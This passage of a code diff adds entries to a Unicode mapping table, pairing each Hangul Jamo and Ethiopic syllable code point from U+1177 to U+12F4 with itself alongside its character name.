+ ["\u1177", "\u1177"], /* HANGUL JUNGSEONG A-U */
+ ["\u1178", "\u1178"], /* HANGUL JUNGSEONG YA-O */
+ ["\u1179", "\u1179"], /* HANGUL JUNGSEONG YA-YO */
+ ["\u117A", "\u117A"], /* HANGUL JUNGSEONG EO-O */
+ ["\u117B", "\u117B"], /* HANGUL JUNGSEONG EO-U */
+ ["\u117C", "\u117C"], /* HANGUL JUNGSEONG EO-EU */
+ ["\u117D", "\u117D"], /* HANGUL JUNGSEONG YEO-O */
+ ["\u117E", "\u117E"], /* HANGUL JUNGSEONG YEO-U */
+ ["\u117F", "\u117F"], /* HANGUL JUNGSEONG O-EO */
+ ["\u1180", "\u1180"], /* HANGUL JUNGSEONG O-E */
+ ["\u1181", "\u1181"], /* HANGUL JUNGSEONG O-YE */
+ ["\u1182", "\u1182"], /* HANGUL JUNGSEONG O-O */
+ ["\u1183", "\u1183"], /* HANGUL JUNGSEONG O-U */
+ ["\u1184", "\u1184"], /* HANGUL JUNGSEONG YO-YA */
+ ["\u1185", "\u1185"], /* HANGUL JUNGSEONG YO-YAE */
+ ["\u1186", "\u1186"], /* HANGUL JUNGSEONG YO-YEO */
+ ["\u1187", "\u1187"], /* HANGUL JUNGSEONG YO-O */
+ ["\u1188", "\u1188"], /* HANGUL JUNGSEONG YO-I */
+ ["\u1189", "\u1189"], /* HANGUL JUNGSEONG U-A */
+ ["\u118A", "\u118A"], /* HANGUL JUNGSEONG U-AE */
+ ["\u118B", "\u118B"], /* HANGUL JUNGSEONG U-EO-EU */
+ ["\u118C", "\u118C"], /* HANGUL JUNGSEONG U-YE */
+ ["\u118D", "\u118D"], /* HANGUL JUNGSEONG U-U */
+ ["\u118E", "\u118E"], /* HANGUL JUNGSEONG YU-A */
+ ["\u118F", "\u118F"], /* HANGUL JUNGSEONG YU-EO */
+ ["\u1190", "\u1190"], /* HANGUL JUNGSEONG YU-E */
+ ["\u1191", "\u1191"], /* HANGUL JUNGSEONG YU-YEO */
+ ["\u1192", "\u1192"], /* HANGUL JUNGSEONG YU-YE */
+ ["\u1193", "\u1193"], /* HANGUL JUNGSEONG YU-U */
+ ["\u1194", "\u1194"], /* HANGUL JUNGSEONG YU-I */
+ ["\u1195", "\u1195"], /* HANGUL JUNGSEONG EU-U */
+ ["\u1196", "\u1196"], /* HANGUL JUNGSEONG EU-EU */
+ ["\u1197", "\u1197"], /* HANGUL JUNGSEONG YI-U */
+ ["\u1198", "\u1198"], /* HANGUL JUNGSEONG I-A */
+ ["\u1199", "\u1199"], /* HANGUL JUNGSEONG I-YA */
+ ["\u119A", "\u119A"], /* HANGUL JUNGSEONG I-O */
+ ["\u119B", "\u119B"], /* HANGUL JUNGSEONG I-U */
+ ["\u119C", "\u119C"], /* HANGUL JUNGSEONG I-EU */
+ ["\u119D", "\u119D"], /* HANGUL JUNGSEONG I-ARAEA */
+ ["\u119E", "\u119E"], /* HANGUL JUNGSEONG ARAEA */
+ ["\u119F", "\u119F"], /* HANGUL JUNGSEONG ARAEA-EO */
+ ["\u11A0", "\u11A0"], /* HANGUL JUNGSEONG ARAEA-U */
+ ["\u11A1", "\u11A1"], /* HANGUL JUNGSEONG ARAEA-I */
+ ["\u11A2", "\u11A2"], /* HANGUL JUNGSEONG SSANGARAEA */
+ ["\u11A3", "\u11A3"], /* HANGUL JUNGSEONG A-EU */
+ ["\u11A4", "\u11A4"], /* HANGUL JUNGSEONG YA-U */
+ ["\u11A5", "\u11A5"], /* HANGUL JUNGSEONG YEO-YA */
+ ["\u11A6", "\u11A6"], /* HANGUL JUNGSEONG O-YA */
+ ["\u11A7", "\u11A7"], /* HANGUL JUNGSEONG O-YAE */
+ ["\u11A8", "\u11A8"], /* HANGUL JONGSEONG KIYEOK */
+ ["\u11A9", "\u11A9"], /* HANGUL JONGSEONG SSANGKIYEOK */
+ ["\u11AA", "\u11AA"], /* HANGUL JONGSEONG KIYEOK-SIOS */
+ ["\u11AB", "\u11AB"], /* HANGUL JONGSEONG NIEUN */
+ ["\u11AC", "\u11AC"], /* HANGUL JONGSEONG NIEUN-CIEUC */
+ ["\u11AD", "\u11AD"], /* HANGUL JONGSEONG NIEUN-HIEUH */
+ ["\u11AE", "\u11AE"], /* HANGUL JONGSEONG TIKEUT */
+ ["\u11AF", "\u11AF"], /* HANGUL JONGSEONG RIEUL */
+ ["\u11B0", "\u11B0"], /* HANGUL JONGSEONG RIEUL-KIYEOK */
+ ["\u11B1", "\u11B1"], /* HANGUL JONGSEONG RIEUL-MIEUM */
+ ["\u11B2", "\u11B2"], /* HANGUL JONGSEONG RIEUL-PIEUP */
+ ["\u11B3", "\u11B3"], /* HANGUL JONGSEONG RIEUL-SIOS */
+ ["\u11B4", "\u11B4"], /* HANGUL JONGSEONG RIEUL-THIEUTH */
+ ["\u11B5", "\u11B5"], /* HANGUL JONGSEONG RIEUL-PHIEUPH */
+ ["\u11B6", "\u11B6"], /* HANGUL JONGSEONG RIEUL-HIEUH */
+ ["\u11B7", "\u11B7"], /* HANGUL JONGSEONG MIEUM */
+ ["\u11B8", "\u11B8"], /* HANGUL JONGSEONG PIEUP */
+ ["\u11B9", "\u11B9"], /* HANGUL JONGSEONG PIEUP-SIOS */
+ ["\u11BA", "\u11BA"], /* HANGUL JONGSEONG SIOS */
+ ["\u11BB", "\u11BB"], /* HANGUL JONGSEONG SSANGSIOS */
+ ["\u11BC", "\u11BC"], /* HANGUL JONGSEONG IEUNG */
+ ["\u11BD", "\u11BD"], /* HANGUL JONGSEONG CIEUC */
+ ["\u11BE", "\u11BE"], /* HANGUL JONGSEONG CHIEUCH */
+ ["\u11BF", "\u11BF"], /* HANGUL JONGSEONG KHIEUKH */
+ ["\u11C0", "\u11C0"], /* HANGUL JONGSEONG THIEUTH */
+ ["\u11C1", "\u11C1"], /* HANGUL JONGSEONG PHIEUPH */
+ ["\u11C2", "\u11C2"], /* HANGUL JONGSEONG HIEUH */
+ ["\u11C3", "\u11C3"], /* HANGUL JONGSEONG KIYEOK-RIEUL */
+ ["\u11C4", "\u11C4"], /* HANGUL JONGSEONG KIYEOK-SIOS-KIYEOK */
+ ["\u11C5", "\u11C5"], /* HANGUL JONGSEONG NIEUN-KIYEOK */
+ ["\u11C6", "\u11C6"], /* HANGUL JONGSEONG NIEUN-TIKEUT */
+ ["\u11C7", "\u11C7"], /* HANGUL JONGSEONG NIEUN-SIOS */
+ ["\u11C8", "\u11C8"], /* HANGUL JONGSEONG NIEUN-PANSIOS */
+ ["\u11C9", "\u11C9"], /* HANGUL JONGSEONG NIEUN-THIEUTH */
+ ["\u11CA", "\u11CA"], /* HANGUL JONGSEONG TIKEUT-KIYEOK */
+ ["\u11CB", "\u11CB"], /* HANGUL JONGSEONG TIKEUT-RIEUL */
+ ["\u11CC", "\u11CC"], /* HANGUL JONGSEONG RIEUL-KIYEOK-SIOS */
+ ["\u11CD", "\u11CD"], /* HANGUL JONGSEONG RIEUL-NIEUN */
+ ["\u11CE", "\u11CE"], /* HANGUL JONGSEONG RIEUL-TIKEUT */
+ ["\u11CF", "\u11CF"], /* HANGUL JONGSEONG RIEUL-TIKEUT-HIEUH */
+ ["\u11D0", "\u11D0"], /* HANGUL JONGSEONG SSANGRIEUL */
+ ["\u11D1", "\u11D1"], /* HANGUL JONGSEONG RIEUL-MIEUM-KIYEOK */
+ ["\u11D2", "\u11D2"], /* HANGUL JONGSEONG RIEUL-MIEUM-SIOS */
+ ["\u11D3", "\u11D3"], /* HANGUL JONGSEONG RIEUL-PIEUP-SIOS */
+ ["\u11D4", "\u11D4"], /* HANGUL JONGSEONG RIEUL-PIEUP-HIEUH */
+ ["\u11D5", "\u11D5"], /* HANGUL JONGSEONG RIEUL-KAPYEOUNPIEUP */
+ ["\u11D6", "\u11D6"], /* HANGUL JONGSEONG RIEUL-SSANGSIOS */
+ ["\u11D7", "\u11D7"], /* HANGUL JONGSEONG RIEUL-PANSIOS */
+ ["\u11D8", "\u11D8"], /* HANGUL JONGSEONG RIEUL-KHIEUKH */
+ ["\u11D9", "\u11D9"], /* HANGUL JONGSEONG RIEUL-YEORINHIEUH */
+ ["\u11DA", "\u11DA"], /* HANGUL JONGSEONG MIEUM-KIYEOK */
+ ["\u11DB", "\u11DB"], /* HANGUL JONGSEONG MIEUM-RIEUL */
+ ["\u11DC", "\u11DC"], /* HANGUL JONGSEONG MIEUM-PIEUP */
+ ["\u11DD", "\u11DD"], /* HANGUL JONGSEONG MIEUM-SIOS */
+ ["\u11DE", "\u11DE"], /* HANGUL JONGSEONG MIEUM-SSANGSIOS */
+ ["\u11DF", "\u11DF"], /* HANGUL JONGSEONG MIEUM-PANSIOS */
+ ["\u11E0", "\u11E0"], /* HANGUL JONGSEONG MIEUM-CHIEUCH */
+ ["\u11E1", "\u11E1"], /* HANGUL JONGSEONG MIEUM-HIEUH */
+ ["\u11E2", "\u11E2"], /* HANGUL JONGSEONG KAPYEOUNMIEUM */
+ ["\u11E3", "\u11E3"], /* HANGUL JONGSEONG PIEUP-RIEUL */
+ ["\u11E4", "\u11E4"], /* HANGUL JONGSEONG PIEUP-PHIEUPH */
+ ["\u11E5", "\u11E5"], /* HANGUL JONGSEONG PIEUP-HIEUH */
+ ["\u11E6", "\u11E6"], /* HANGUL JONGSEONG KAPYEOUNPIEUP */
+ ["\u11E7", "\u11E7"], /* HANGUL JONGSEONG SIOS-KIYEOK */
+ ["\u11E8", "\u11E8"], /* HANGUL JONGSEONG SIOS-TIKEUT */
+ ["\u11E9", "\u11E9"], /* HANGUL JONGSEONG SIOS-RIEUL */
+ ["\u11EA", "\u11EA"], /* HANGUL JONGSEONG SIOS-PIEUP */
+ ["\u11EB", "\u11EB"], /* HANGUL JONGSEONG PANSIOS */
+ ["\u11EC", "\u11EC"], /* HANGUL JONGSEONG IEUNG-KIYEOK */
+ ["\u11ED", "\u11ED"], /* HANGUL JONGSEONG IEUNG-SSANGKIYEOK */
+ ["\u11EE", "\u11EE"], /* HANGUL JONGSEONG SSANGIEUNG */
+ ["\u11EF", "\u11EF"], /* HANGUL JONGSEONG IEUNG-KHIEUKH */
+ ["\u11F0", "\u11F0"], /* HANGUL JONGSEONG YESIEUNG */
+ ["\u11F1", "\u11F1"], /* HANGUL JONGSEONG YESIEUNG-SIOS */
+ ["\u11F2", "\u11F2"], /* HANGUL JONGSEONG YESIEUNG-PANSIOS */
+ ["\u11F3", "\u11F3"], /* HANGUL JONGSEONG PHIEUPH-PIEUP */
+ ["\u11F4", "\u11F4"], /* HANGUL JONGSEONG KAPYEOUNPHIEUPH */
+ ["\u11F5", "\u11F5"], /* HANGUL JONGSEONG HIEUH-NIEUN */
+ ["\u11F6", "\u11F6"], /* HANGUL JONGSEONG HIEUH-RIEUL */
+ ["\u11F7", "\u11F7"], /* HANGUL JONGSEONG HIEUH-MIEUM */
+ ["\u11F8", "\u11F8"], /* HANGUL JONGSEONG HIEUH-PIEUP */
+ ["\u11F9", "\u11F9"], /* HANGUL JONGSEONG YEORINHIEUH */
+ ["\u11FA", "\u11FA"], /* HANGUL JONGSEONG KIYEOK-NIEUN */
+ ["\u11FB", "\u11FB"], /* HANGUL JONGSEONG KIYEOK-PIEUP */
+ ["\u11FC", "\u11FC"], /* HANGUL JONGSEONG KIYEOK-CHIEUCH */
+ ["\u11FD", "\u11FD"], /* HANGUL JONGSEONG KIYEOK-KHIEUKH */
+ ["\u11FE", "\u11FE"], /* HANGUL JONGSEONG KIYEOK-HIEUH */
+ ["\u11FF", "\u11FF"], /* HANGUL JONGSEONG SSANGNIEUN */
+ ["\u1200", "\u1200"], /* ETHIOPIC SYLLABLE HA */
+ ["\u1201", "\u1201"], /* ETHIOPIC SYLLABLE HU */
+ ["\u1202", "\u1202"], /* ETHIOPIC SYLLABLE HI */
+ ["\u1203", "\u1203"], /* ETHIOPIC SYLLABLE HAA */
+ ["\u1204", "\u1204"], /* ETHIOPIC SYLLABLE HEE */
+ ["\u1205", "\u1205"], /* ETHIOPIC SYLLABLE HE */
+ ["\u1206", "\u1206"], /* ETHIOPIC SYLLABLE HO */
+ ["\u1207", "\u1207"], /* ETHIOPIC SYLLABLE HOA */
+ ["\u1208", "\u1208"], /* ETHIOPIC SYLLABLE LA */
+ ["\u1209", "\u1209"], /* ETHIOPIC SYLLABLE LU */
+ ["\u120A", "\u120A"], /* ETHIOPIC SYLLABLE LI */
+ ["\u120B", "\u120B"], /* ETHIOPIC SYLLABLE LAA */
+ ["\u120C", "\u120C"], /* ETHIOPIC SYLLABLE LEE */
+ ["\u120D", "\u120D"], /* ETHIOPIC SYLLABLE LE */
+ ["\u120E", "\u120E"], /* ETHIOPIC SYLLABLE LO */
+ ["\u120F", "\u120F"], /* ETHIOPIC SYLLABLE LWA */
+ ["\u1210", "\u1210"], /* ETHIOPIC SYLLABLE HHA */
+ ["\u1211", "\u1211"], /* ETHIOPIC SYLLABLE HHU */
+ ["\u1212", "\u1212"], /* ETHIOPIC SYLLABLE HHI */
+ ["\u1213", "\u1213"], /* ETHIOPIC SYLLABLE HHAA */
+ ["\u1214", "\u1214"], /* ETHIOPIC SYLLABLE HHEE */
+ ["\u1215", "\u1215"], /* ETHIOPIC SYLLABLE HHE */
+ ["\u1216", "\u1216"], /* ETHIOPIC SYLLABLE HHO */
+ ["\u1217", "\u1217"], /* ETHIOPIC SYLLABLE HHWA */
+ ["\u1218", "\u1218"], /* ETHIOPIC SYLLABLE MA */
+ ["\u1219", "\u1219"], /* ETHIOPIC SYLLABLE MU */
+ ["\u121A", "\u121A"], /* ETHIOPIC SYLLABLE MI */
+ ["\u121B", "\u121B"], /* ETHIOPIC SYLLABLE MAA */
+ ["\u121C", "\u121C"], /* ETHIOPIC SYLLABLE MEE */
+ ["\u121D", "\u121D"], /* ETHIOPIC SYLLABLE ME */
+ ["\u121E", "\u121E"], /* ETHIOPIC SYLLABLE MO */
+ ["\u121F", "\u121F"], /* ETHIOPIC SYLLABLE MWA */
+ ["\u1220", "\u1220"], /* ETHIOPIC SYLLABLE SZA */
+ ["\u1221", "\u1221"], /* ETHIOPIC SYLLABLE SZU */
+ ["\u1222", "\u1222"], /* ETHIOPIC SYLLABLE SZI */
+ ["\u1223", "\u1223"], /* ETHIOPIC SYLLABLE SZAA */
+ ["\u1224", "\u1224"], /* ETHIOPIC SYLLABLE SZEE */
+ ["\u1225", "\u1225"], /* ETHIOPIC SYLLABLE SZE */
+ ["\u1226", "\u1226"], /* ETHIOPIC SYLLABLE SZO */
+ ["\u1227", "\u1227"], /* ETHIOPIC SYLLABLE SZWA */
+ ["\u1228", "\u1228"], /* ETHIOPIC SYLLABLE RA */
+ ["\u1229", "\u1229"], /* ETHIOPIC SYLLABLE RU */
+ ["\u122A", "\u122A"], /* ETHIOPIC SYLLABLE RI */
+ ["\u122B", "\u122B"], /* ETHIOPIC SYLLABLE RAA */
+ ["\u122C", "\u122C"], /* ETHIOPIC SYLLABLE REE */
+ ["\u122D", "\u122D"], /* ETHIOPIC SYLLABLE RE */
+ ["\u122E", "\u122E"], /* ETHIOPIC SYLLABLE RO */
+ ["\u122F", "\u122F"], /* ETHIOPIC SYLLABLE RWA */
+ ["\u1230", "\u1230"], /* ETHIOPIC SYLLABLE SA */
+ ["\u1231", "\u1231"], /* ETHIOPIC SYLLABLE SU */
+ ["\u1232", "\u1232"], /* ETHIOPIC SYLLABLE SI */
+ ["\u1233", "\u1233"], /* ETHIOPIC SYLLABLE SAA */
+ ["\u1234", "\u1234"], /* ETHIOPIC SYLLABLE SEE */
+ ["\u1235", "\u1235"], /* ETHIOPIC SYLLABLE SE */
+ ["\u1236", "\u1236"], /* ETHIOPIC SYLLABLE SO */
+ ["\u1237", "\u1237"], /* ETHIOPIC SYLLABLE SWA */
+ ["\u1238", "\u1238"], /* ETHIOPIC SYLLABLE SHA */
+ ["\u1239", "\u1239"], /* ETHIOPIC SYLLABLE SHU */
+ ["\u123A", "\u123A"], /* ETHIOPIC SYLLABLE SHI */
+ ["\u123B", "\u123B"], /* ETHIOPIC SYLLABLE SHAA */
+ ["\u123C", "\u123C"], /* ETHIOPIC SYLLABLE SHEE */
+ ["\u123D", "\u123D"], /* ETHIOPIC SYLLABLE SHE */
+ ["\u123E", "\u123E"], /* ETHIOPIC SYLLABLE SHO */
+ ["\u123F", "\u123F"], /* ETHIOPIC SYLLABLE SHWA */
+ ["\u1240", "\u1240"], /* ETHIOPIC SYLLABLE QA */
+ ["\u1241", "\u1241"], /* ETHIOPIC SYLLABLE QU */
+ ["\u1242", "\u1242"], /* ETHIOPIC SYLLABLE QI */
+ ["\u1243", "\u1243"], /* ETHIOPIC SYLLABLE QAA */
+ ["\u1244", "\u1244"], /* ETHIOPIC SYLLABLE QEE */
+ ["\u1245", "\u1245"], /* ETHIOPIC SYLLABLE QE */
+ ["\u1246", "\u1246"], /* ETHIOPIC SYLLABLE QO */
+ ["\u1247", "\u1247"], /* ETHIOPIC SYLLABLE QOA */
+ ["\u1248", "\u1248"], /* ETHIOPIC SYLLABLE QWA */
+ ["\u1249", "\u1249"],
+ ["\u124A", "\u124A"], /* ETHIOPIC SYLLABLE QWI */
+ ["\u124B", "\u124B"], /* ETHIOPIC SYLLABLE QWAA */
+ ["\u124C", "\u124C"], /* ETHIOPIC SYLLABLE QWEE */
+ ["\u124D", "\u124D"], /* ETHIOPIC SYLLABLE QWE */
+ ["\u124E", "\u124E"],
+ ["\u124F", "\u124F"],
+ ["\u1250", "\u1250"], /* ETHIOPIC SYLLABLE QHA */
+ ["\u1251", "\u1251"], /* ETHIOPIC SYLLABLE QHU */
+ ["\u1252", "\u1252"], /* ETHIOPIC SYLLABLE QHI */
+ ["\u1253", "\u1253"], /* ETHIOPIC SYLLABLE QHAA */
+ ["\u1254", "\u1254"], /* ETHIOPIC SYLLABLE QHEE */
+ ["\u1255", "\u1255"], /* ETHIOPIC SYLLABLE QHE */
+ ["\u1256", "\u1256"], /* ETHIOPIC SYLLABLE QHO */
+ ["\u1257", "\u1257"],
+ ["\u1258", "\u1258"], /* ETHIOPIC SYLLABLE QHWA */
+ ["\u1259", "\u1259"],
+ ["\u125A", "\u125A"], /* ETHIOPIC SYLLABLE QHWI */
+ ["\u125B", "\u125B"], /* ETHIOPIC SYLLABLE QHWAA */
+ ["\u125C", "\u125C"], /* ETHIOPIC SYLLABLE QHWEE */
+ ["\u125D", "\u125D"], /* ETHIOPIC SYLLABLE QHWE */
+ ["\u125E", "\u125E"],
+ ["\u125F", "\u125F"],
+ ["\u1260", "\u1260"], /* ETHIOPIC SYLLABLE BA */
+ ["\u1261", "\u1261"], /* ETHIOPIC SYLLABLE BU */
+ ["\u1262", "\u1262"], /* ETHIOPIC SYLLABLE BI */
+ ["\u1263", "\u1263"], /* ETHIOPIC SYLLABLE BAA */
+ ["\u1264", "\u1264"], /* ETHIOPIC SYLLABLE BEE */
+ ["\u1265", "\u1265"], /* ETHIOPIC SYLLABLE BE */
+ ["\u1266", "\u1266"], /* ETHIOPIC SYLLABLE BO */
+ ["\u1267", "\u1267"], /* ETHIOPIC SYLLABLE BWA */
+ ["\u1268", "\u1268"], /* ETHIOPIC SYLLABLE VA */
+ ["\u1269", "\u1269"], /* ETHIOPIC SYLLABLE VU */
+ ["\u126A", "\u126A"], /* ETHIOPIC SYLLABLE VI */
+ ["\u126B", "\u126B"], /* ETHIOPIC SYLLABLE VAA */
+ ["\u126C", "\u126C"], /* ETHIOPIC SYLLABLE VEE */
+ ["\u126D", "\u126D"], /* ETHIOPIC SYLLABLE VE */
+ ["\u126E", "\u126E"], /* ETHIOPIC SYLLABLE VO */
+ ["\u126F", "\u126F"], /* ETHIOPIC SYLLABLE VWA */
+ ["\u1270", "\u1270"], /* ETHIOPIC SYLLABLE TA */
+ ["\u1271", "\u1271"], /* ETHIOPIC SYLLABLE TU */
+ ["\u1272", "\u1272"], /* ETHIOPIC SYLLABLE TI */
+ ["\u1273", "\u1273"], /* ETHIOPIC SYLLABLE TAA */
+ ["\u1274", "\u1274"], /* ETHIOPIC SYLLABLE TEE */
+ ["\u1275", "\u1275"], /* ETHIOPIC SYLLABLE TE */
+ ["\u1276", "\u1276"], /* ETHIOPIC SYLLABLE TO */
+ ["\u1277", "\u1277"], /* ETHIOPIC SYLLABLE TWA */
+ ["\u1278", "\u1278"], /* ETHIOPIC SYLLABLE CA */
+ ["\u1279", "\u1279"], /* ETHIOPIC SYLLABLE CU */
+ ["\u127A", "\u127A"], /* ETHIOPIC SYLLABLE CI */
+ ["\u127B", "\u127B"], /* ETHIOPIC SYLLABLE CAA */
+ ["\u127C", "\u127C"], /* ETHIOPIC SYLLABLE CEE */
+ ["\u127D", "\u127D"], /* ETHIOPIC SYLLABLE CE */
+ ["\u127E", "\u127E"], /* ETHIOPIC SYLLABLE CO */
+ ["\u127F", "\u127F"], /* ETHIOPIC SYLLABLE CWA */
+ ["\u1280", "\u1280"], /* ETHIOPIC SYLLABLE XA */
+ ["\u1281", "\u1281"], /* ETHIOPIC SYLLABLE XU */
+ ["\u1282", "\u1282"], /* ETHIOPIC SYLLABLE XI */
+ ["\u1283", "\u1283"], /* ETHIOPIC SYLLABLE XAA */
+ ["\u1284", "\u1284"], /* ETHIOPIC SYLLABLE XEE */
+ ["\u1285", "\u1285"], /* ETHIOPIC SYLLABLE XE */
+ ["\u1286", "\u1286"], /* ETHIOPIC SYLLABLE XO */
+ ["\u1287", "\u1287"], /* ETHIOPIC SYLLABLE XOA */
+ ["\u1288", "\u1288"], /* ETHIOPIC SYLLABLE XWA */
+ ["\u1289", "\u1289"],
+ ["\u128A", "\u128A"], /* ETHIOPIC SYLLABLE XWI */
+ ["\u128B", "\u128B"], /* ETHIOPIC SYLLABLE XWAA */
+ ["\u128C", "\u128C"], /* ETHIOPIC SYLLABLE XWEE */
+ ["\u128D", "\u128D"], /* ETHIOPIC SYLLABLE XWE */
+ ["\u128E", "\u128E"],
+ ["\u128F", "\u128F"],
+ ["\u1290", "\u1290"], /* ETHIOPIC SYLLABLE NA */
+ ["\u1291", "\u1291"], /* ETHIOPIC SYLLABLE NU */
+ ["\u1292", "\u1292"], /* ETHIOPIC SYLLABLE NI */
+ ["\u1293", "\u1293"], /* ETHIOPIC SYLLABLE NAA */
+ ["\u1294", "\u1294"], /* ETHIOPIC SYLLABLE NEE */
+ ["\u1295", "\u1295"], /* ETHIOPIC SYLLABLE NE */
+ ["\u1296", "\u1296"], /* ETHIOPIC SYLLABLE NO */
+ ["\u1297", "\u1297"], /* ETHIOPIC SYLLABLE NWA */
+ ["\u1298", "\u1298"], /* ETHIOPIC SYLLABLE NYA */
+ ["\u1299", "\u1299"], /* ETHIOPIC SYLLABLE NYU */
+ ["\u129A", "\u129A"], /* ETHIOPIC SYLLABLE NYI */
+ ["\u129B", "\u129B"], /* ETHIOPIC SYLLABLE NYAA */
+ ["\u129C", "\u129C"], /* ETHIOPIC SYLLABLE NYEE */
+ ["\u129D", "\u129D"], /* ETHIOPIC SYLLABLE NYE */
+ ["\u129E", "\u129E"], /* ETHIOPIC SYLLABLE NYO */
+ ["\u129F", "\u129F"], /* ETHIOPIC SYLLABLE NYWA */
+ ["\u12A0", "\u12A0"], /* ETHIOPIC SYLLABLE GLOTTAL A */
+ ["\u12A1", "\u12A1"], /* ETHIOPIC SYLLABLE GLOTTAL U */
+ ["\u12A2", "\u12A2"], /* ETHIOPIC SYLLABLE GLOTTAL I */
+ ["\u12A3", "\u12A3"], /* ETHIOPIC SYLLABLE GLOTTAL AA */
+ ["\u12A4", "\u12A4"], /* ETHIOPIC SYLLABLE GLOTTAL EE */
+ ["\u12A5", "\u12A5"], /* ETHIOPIC SYLLABLE GLOTTAL E */
+ ["\u12A6", "\u12A6"], /* ETHIOPIC SYLLABLE GLOTTAL O */
+ ["\u12A7", "\u12A7"], /* ETHIOPIC SYLLABLE GLOTTAL WA */
+ ["\u12A8", "\u12A8"], /* ETHIOPIC SYLLABLE KA */
+ ["\u12A9", "\u12A9"], /* ETHIOPIC SYLLABLE KU */
+ ["\u12AA", "\u12AA"], /* ETHIOPIC SYLLABLE KI */
+ ["\u12AB", "\u12AB"], /* ETHIOPIC SYLLABLE KAA */
+ ["\u12AC", "\u12AC"], /* ETHIOPIC SYLLABLE KEE */
+ ["\u12AD", "\u12AD"], /* ETHIOPIC SYLLABLE KE */
+ ["\u12AE", "\u12AE"], /* ETHIOPIC SYLLABLE KO */
+ ["\u12AF", "\u12AF"], /* ETHIOPIC SYLLABLE KOA */
+ ["\u12B0", "\u12B0"], /* ETHIOPIC SYLLABLE KWA */
+ ["\u12B1", "\u12B1"],
+ ["\u12B2", "\u12B2"], /* ETHIOPIC SYLLABLE KWI */
+ ["\u12B3", "\u12B3"], /* ETHIOPIC SYLLABLE KWAA */
+ ["\u12B4", "\u12B4"], /* ETHIOPIC SYLLABLE KWEE */
+ ["\u12B5", "\u12B5"], /* ETHIOPIC SYLLABLE KWE */
+ ["\u12B6", "\u12B6"],
+ ["\u12B7", "\u12B7"],
+ ["\u12B8", "\u12B8"], /* ETHIOPIC SYLLABLE KXA */
+ ["\u12B9", "\u12B9"], /* ETHIOPIC SYLLABLE KXU */
+ ["\u12BA", "\u12BA"], /* ETHIOPIC SYLLABLE KXI */
+ ["\u12BB", "\u12BB"], /* ETHIOPIC SYLLABLE KXAA */
+ ["\u12BC", "\u12BC"], /* ETHIOPIC SYLLABLE KXEE */
+ ["\u12BD", "\u12BD"], /* ETHIOPIC SYLLABLE KXE */
+ ["\u12BE", "\u12BE"], /* ETHIOPIC SYLLABLE KXO */
+ ["\u12BF", "\u12BF"],
+ ["\u12C0", "\u12C0"], /* ETHIOPIC SYLLABLE KXWA */
+ ["\u12C1", "\u12C1"],
+ ["\u12C2", "\u12C2"], /* ETHIOPIC SYLLABLE KXWI */
+ ["\u12C3", "\u12C3"], /* ETHIOPIC SYLLABLE KXWAA */
+ ["\u12C4", "\u12C4"], /* ETHIOPIC SYLLABLE KXWEE */
+ ["\u12C5", "\u12C5"], /* ETHIOPIC SYLLABLE KXWE */
+ ["\u12C6", "\u12C6"],
+ ["\u12C7", "\u12C7"],
+ ["\u12C8", "\u12C8"], /* ETHIOPIC SYLLABLE WA */
+ ["\u12C9", "\u12C9"], /* ETHIOPIC SYLLABLE WU */
+ ["\u12CA", "\u12CA"], /* ETHIOPIC SYLLABLE WI */
+ ["\u12CB", "\u12CB"], /* ETHIOPIC SYLLABLE WAA */
+ ["\u12CC", "\u12CC"], /* ETHIOPIC SYLLABLE WEE */
+ ["\u12CD", "\u12CD"], /* ETHIOPIC SYLLABLE WE */
+ ["\u12CE", "\u12CE"], /* ETHIOPIC SYLLABLE WO */
+ ["\u12CF", "\u12CF"], /* ETHIOPIC SYLLABLE WOA */
+ ["\u12D0", "\u12D0"], /* ETHIOPIC SYLLABLE PHARYNGEAL A */
+ ["\u12D1", "\u12D1"], /* ETHIOPIC SYLLABLE PHARYNGEAL U */
+ ["\u12D2", "\u12D2"], /* ETHIOPIC SYLLABLE PHARYNGEAL I */
+ ["\u12D3", "\u12D3"], /* ETHIOPIC SYLLABLE PHARYNGEAL AA */
+ ["\u12D4", "\u12D4"], /* ETHIOPIC SYLLABLE PHARYNGEAL EE */
+ ["\u12D5", "\u12D5"], /* ETHIOPIC SYLLABLE PHARYNGEAL E */
+ ["\u12D6", "\u12D6"], /* ETHIOPIC SYLLABLE PHARYNGEAL O */
+ ["\u12D7", "\u12D7"],
+ ["\u12D8", "\u12D8"], /* ETHIOPIC SYLLABLE ZA */
+ ["\u12D9", "\u12D9"], /* ETHIOPIC SYLLABLE ZU */
+ ["\u12DA", "\u12DA"], /* ETHIOPIC SYLLABLE ZI */
+ ["\u12DB", "\u12DB"], /* ETHIOPIC SYLLABLE ZAA */
+ ["\u12DC", "\u12DC"], /* ETHIOPIC SYLLABLE ZEE */
+ ["\u12DD", "\u12DD"], /* ETHIOPIC SYLLABLE ZE */
+ ["\u12DE", "\u12DE"], /* ETHIOPIC SYLLABLE ZO */
+ ["\u12DF", "\u12DF"], /* ETHIOPIC SYLLABLE ZWA */
+ ["\u12E0", "\u12E0"], /* ETHIOPIC SYLLABLE ZHA */
+ ["\u12E1", "\u12E1"], /* ETHIOPIC SYLLABLE ZHU */
+ ["\u12E2", "\u12E2"], /* ETHIOPIC SYLLABLE ZHI */
+ ["\u12E3", "\u12E3"], /* ETHIOPIC SYLLABLE ZHAA */
+ ["\u12E4", "\u12E4"], /* ETHIOPIC SYLLABLE ZHEE */
+ ["\u12E5", "\u12E5"], /* ETHIOPIC SYLLABLE ZHE */
+ ["\u12E6", "\u12E6"], /* ETHIOPIC SYLLABLE ZHO */
+ ["\u12E7", "\u12E7"], /* ETHIOPIC SYLLABLE ZHWA */
+ ["\u12E8", "\u12E8"], /* ETHIOPIC SYLLABLE YA */
+ ["\u12E9", "\u12E9"], /* ETHIOPIC SYLLABLE YU */
+ ["\u12EA", "\u12EA"], /* ETHIOPIC SYLLABLE YI */
+ ["\u12EB", "\u12EB"], /* ETHIOPIC SYLLABLE YAA */
+ ["\u12EC", "\u12EC"], /* ETHIOPIC SYLLABLE YEE */
+ ["\u12ED", "\u12ED"], /* ETHIOPIC SYLLABLE YE */
+ ["\u12EE", "\u12EE"], /* ETHIOPIC SYLLABLE YO */
+ ["\u12EF", "\u12EF"], /* ETHIOPIC SYLLABLE YOA */
+ ["\u12F0", "\u12F0"], /* ETHIOPIC SYLLABLE DA */
+ ["\u12F1", "\u12F1"], /* ETHIOPIC SYLLABLE DU */
+ ["\u12F2", "\u12F2"], /* ETHIOPIC SYLLABLE DI */
+ ["\u12F3", "\u12F3"], /* ETHIOPIC SYLLABLE DAA */
+ ["\u12F4", "\u12F4"], /* ETHIOPIC SYLLABLE DEE */
